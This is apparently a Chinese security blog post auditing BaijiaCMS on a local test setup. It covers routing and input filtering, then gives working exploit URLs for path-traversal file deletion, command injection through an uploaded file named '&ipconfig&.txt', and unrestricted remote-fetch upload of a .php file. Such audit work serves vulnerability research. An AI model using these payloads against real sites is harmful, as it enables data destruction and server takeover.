百家CMS代码审计
环境搭建
下载地址:https://gitee.com/openbaijia/baijiacms
环境:
- php5.6.9
- MySQL5.7.26
- Apache2.4.39
直接访问http://127.0.0.1/install.php进行安装:
分析框架
目录结构
一套源码拿到手第一步仍然是分析框架,先看下目录结构:
是一个无框架的cms,这就需要先搞清楚目录结构,路由,每个目录的功能:
1 | baijiacms/ |
入口文件:
1 | // 主要入口文件: |
针对system目录,这个较为常用,可以进行进一步分析:
1 | system 系统模块目录 |
主要关注一下几个方面:
1.入口文件index.php:根目录下的index.php文件是一个程序的入口,通常会包含整个程序的运行流程、包含的文件,所以通读一下index.php文件有助于我们了解整个程序的运行逻辑
2.安全过滤文件:安全过滤文件中会写函数对参数进行过滤,所以了解程序过滤的漏洞,对于我们进行进行漏洞利用至关重要。这类文件通常会在其他文件中包含,所以一般会在特定的目录,如上面的includes目录下。另外,找这类文件,也可以从其他文件包含的文件去看
3.函数集文件:函数集文件中会写一些公共的函数,方便其他文件对该函数进行调用,所以这类文件也会在其他文件中进行包含。这类文件通常会存放在common或function等文件夹中
入口文件index.php分析
首先检查/config/install.link是否存在,不存在重定向到install.php进行安装
然后通过条件判断确定$mod的值,$mod通过mod参数获得
接着根据$mod的值来定义SYSTEM_ACT常量
接着根据传入参数do和act来确定参数的值,其中do检查是否为空,为空则设置为shopindex,$act通过act参数获得
最后包含includes/baijiacms.php
安全过滤分析
跟进到includes/baijiacms.php查看:
定义了一些常量
在80,81行定义了$_GP,是通过GET、POST值获得的,82行定义了一个irequestsplite方法用于对输入字符进行html转义,然后对$_GP使用即对GET和POST传入的内容进行处理
路由分析
路由信息可通过全局搜索route关键词,到写了路由配置的文件中查看
如果没有找到,可以访问网站,查看url,结合url中的参数和文件目录及文件名进行理解
这里我们直接访问默认页面baijiacms/index.php:
在登录页面,可以看到4个参数mod、act、do、beid,这里主要关注前三个,将这三个参数在网站目录的文件找
可以看到收到的值和标记的文件目录文件名一样,index.php调用了page,查看一下:
会调用/template/mobile/目录下的index.php文件
可以看到是对应的,act代表目录名,mod代表目录名,do代表
且所有接受参数都是在system目录下的文件中,所以重点放在该目录下的文件
接着我们就可以使用Seay进行漏洞查找
任意目录及文件删除
看似seay找到这么多漏洞,其实绝大部分都是误报,能利用的少之又少。如果觉得扫描不够全面,可自行从敏感函数搜索查找,对于文件删除,常见的有:
1 | unlinkrmdir |
第一处
文件路由/includes/baijiacms/common.inc.php:
其中定义了一个
rmdirs函数,如果参数是一个目录,会对目录下的文件进行递归而后删除一切文件,如果不是目录,那么会直接删除这个文件
那么我们就去查找哪里调用了该方法,全局搜索rmdir:
定位到\system\manager\class\web\database.php
其中$d参数是经过base64解码的,它提供$path是否为目录,它通过$_GP['id']获取:
这里将$_GET、$_POST和$_GP三个数组合并成一个新的数组,并将结果重新赋值给$_GP变量。
举个例子:
假设当前请求的URL为:http://example.com/index.php?name=Tom&age=20
同时表单POST数据包含:name=Jerry&city=Beijing
那么在执行这行代码前:$_GET 数组内容为:['name' => 'Tom', 'age' => '20']$_POST 数组内容为:['name' => 'Jerry', 'city' => 'Beijing']$_GP 数组初始为空:[]
执行 $_GP = array_merge($_GET, $_POST, $_GP); 后:
$_GP 数组内容变为:['name' => 'Jerry', 'age' => '20', 'city' => 'Beijing']
最后是将path与d拼接,虽然写的是$path = WEB_ROOT . '/config/data_backup/';,然这里是可以绕过的,后续只校验是不是目录,而未限定目录,且d可控,所以可以抓包目录穿越修改
先创建一个目录用于测试:
接着访问数据库备份界面:
1 | http://127.0.0.1/index.php?mod=site&act=manager&do=database&op=restore&beid=1 |
点击删除抓包,修改id为:
1 | Li4vLi4vYjF1ZWwwbjM= |
接着查看目录是否还在:
成功删除
第二处
除了redir和unlink,我们常常还关注delete函数,因为它直译过来也是删除的意思,全局搜索delete():
在/includes/baijiacms/common.inc.php处找到file_delete函数
找到一个关键点:
1 | if(!empty($settings['system_isnetattach'])) |
当这个通过时,就不会删除文件,反之删除文件。
所以我们需要了解system_isnetattach是什么东西,全局搜索一下:
对应的是附件设置功能点
当为本地是为0,路由:
1 | http://127.0.0.1/index.php?mod=site&act=manager&do=netattach&beid=1 |
do对应的具体文件,所以我们找哪个文件用了该函数即可:
先看uploader文件:
其中file变量通过$_GPC['file'];获取,全局变量$_GPC用于接收GET、POST、COOKIE等用户输入数据的超全局变量数组,所以是可控的,所以这里依旧能利用
同样创建个文件进行测试:
根据路由规则来构造:
1 | http://127.0.0.1/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../b1uel0n3 |
成功删除
第三处
刚刚在搜索file_delete函数时发现还有一处也调用了该函数,在\system\eshop\core\web\shop\category.php:
前提是id不为空且op=post,构造:
1 | http://127.0.0.1/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../b1uel0n3 |
命令执行
关注的函数主要有eval、system、exec等常见的命令执行函数
搜索system函数:
在includes\baijiacms\common.inc.php下找到system函数
需要满足if(!empty($settings['image_compress_openscale']))
需要开启图片压缩比例
接着我们看哪里调用了该方法:
找到\system\weixin\class\web\setting.php文件
对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,而这里WEB_ROOT."/".$file['name']对应的就是函数中的$file_full_path
所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。
我们这里新建一个txt文件,命名为&ipconfig&.txt:
访问:
1 | http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1 |
文件上传
直接全局搜索uploade:
文件路由为includes\baijiacms\common.inc.php
这里对上传的文件进行校验,需要扩展名范围在$extentions中,所以这里是利用不了的
继续搜索:
同样在includes\baijiacms\common.inc.php下有另一个函数fetch_net_file_upload对上传文件进行操作
这里会去除URL空格,提取文件后缀名,然后按年月创建目录结构 /attachment/扩展名/年/月/,随后随机生成15位字符的文件名,避免重名冲突,最后设置文件的完整临时路径和相对路径,这里并没有进行检测后缀
接着看那里调用了该函数:
定位到:\system\public\class\web\file.php
需要$do即op为fetch
先远程创建一个文件:
1 | http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxxx/test.php |
拼接路径:
1 | http://127.0.0.1/attachment/php/2025/10/W91wI6Y0n1iDj9i.php |




















































